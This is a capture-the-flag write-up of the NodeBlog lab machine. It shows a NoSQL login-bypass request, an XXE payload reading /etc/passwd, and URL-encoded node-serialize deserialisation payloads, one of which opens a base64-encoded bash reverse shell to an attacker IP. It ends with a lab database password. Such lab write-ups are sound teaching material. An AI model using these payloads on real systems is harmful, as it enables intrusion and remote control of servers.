NodeBlog
H
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 5000 10.129.96.160
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 07:30 EST
Nmap scan report for 10.129.96.160
Host is up (0.013s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
NoSQL Login Bypass
This was a UHC qualifier box in 2021.

There was a login functionality there. I tested some SQL Injection but to no avail. Because this was a UHC box, this was probably the way in. I tested some NoSQL injection and it worked in bypassing it!
POST /login HTTP/1.1
Host: 10.129.96.160:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 56
Origin: http://10.129.96.160:5000
Connection: close
Referer: http://10.129.96.160:5000/login
Upgrade-Insecure-Requests: 1
{
"user": "admin",
"password": {"$ne": "admin"}
}

XXE Injection
All of the functions do nothing much, except for the Upload one. When trying to upload something, I get this error:
Invalid XML Example: Example DescriptionExample Markdown
This indidates that we have to upload a malicious XML file to achieve XXE injection for our reverse shell. Taking a look at the POST request in Burpsuite reveals that we need this format:

I headed to PayloadAllTheThings to try some XXE injection payloads, and it worked rather well:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<post>
<title>mypost</title>
<description>testfile</description>
<markdown>&file;</markdown>
</post>
Then we can save this into a file and upload it. The output would be printed in the markdown
area:

Earlier while testing my NoSQL injections, I did run across an error like this:

So the source code files are in /opt/blog
. A bit more testing revealed the main file to be server.js
.
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()
mongoose.connect('mongodb://localhost/blog')
app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));
function authenticated(c) {
if (typeof c == 'undefined')
return false
c = serialize.unserialize(c)
if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
return true
} else {
return false
}
}
app.get('/', async (req, res) => {
const articles = await Article.find().sort({
createdAt: 'desc'
})
res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})
app.use('/articles', articleRouter)
app.use('/login', loginRouter)
app.listen(5000)
First thing I notice is that there is unserialisation going on. This web application must be vulnerable to RCE through Deserialisation. This article showed up when I searched for this exploit:
I tested the token given there and it worked: (after URL encoding)
%7B%22rce%22%3A%22_%24%24ND_FUNC%24%24_function%28%29%7Brequire%28%27child_process%27%29.exec%28%27ping%20-c%201%2010.10.14.39%27%2C%20function%28error%2C%20stdout%2C%20stderr%29%7Bconsole.log%28stdout%29%7D%29%3B%7D%28%29%22%7D%0A
Now, we can replace the ping
command I used above with a reverse shell:
%7B%22rce%22%3A%22_%24%24ND_FUNC%24%24_function%28%29%7Brequire%28%27child_process%27%29.exec%28%27echo%20%5C%22YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4zOS84ODg4IDA%2BJjEK%5C%22%20%7C%20base64%20-d%20%7C%20bash%27%2C%20function%28error%2C%20stdout%2C%20stderr%29%7Bconsole.log%28stdout%29%7D%29%3B%7D%28%29%22%7D%0A
This uses base64 to encode the shell one-liner and connect to port 8888.

When trying to read the user flag, I found out that we did not have access to our own home directory. This was because of the permissions set:
admin@nodeblog:/home$ ls -la
ls -la
total 16
drwxr-xr-x 1 root root 10 Dec 27 2021 .
drwxr-xr-x 1 root root 180 Dec 27 2021 ..
drw-r--r-- 1 admin admin 220 Jan 3 2022 admin
We can correct this with chmod 777 admin
.
Privilege Escalation
I ran a LinPEAS scan on this machine and found the mongoDB
credentials file.
mongodb 802 0.3 1.8 981772 76124 ? Ssl 16:38 0:08 /usr/bin/mongod --unixSocketPrefix=/run/mongodb --config /etc/mongodb.conf
Earlier we used NoSQL injection to access this, and perhaps we can find the actual credentials for the admin
user (so that I can check sudo
privleges). Some DBs and collections can be found here.

I could find a password from the users collections.
> db.users.find()
{ "_id" : ObjectId("61b7380ae5814df6030d2373"), "createdAt" : ISODate("2021-12-13T12:09:46.009Z"), "username" : "admin", "password" : "IppsecSaysPleaseSubscribe", "__v" : 0 }
We can use this to check sudo
privileges and find an easy root path:
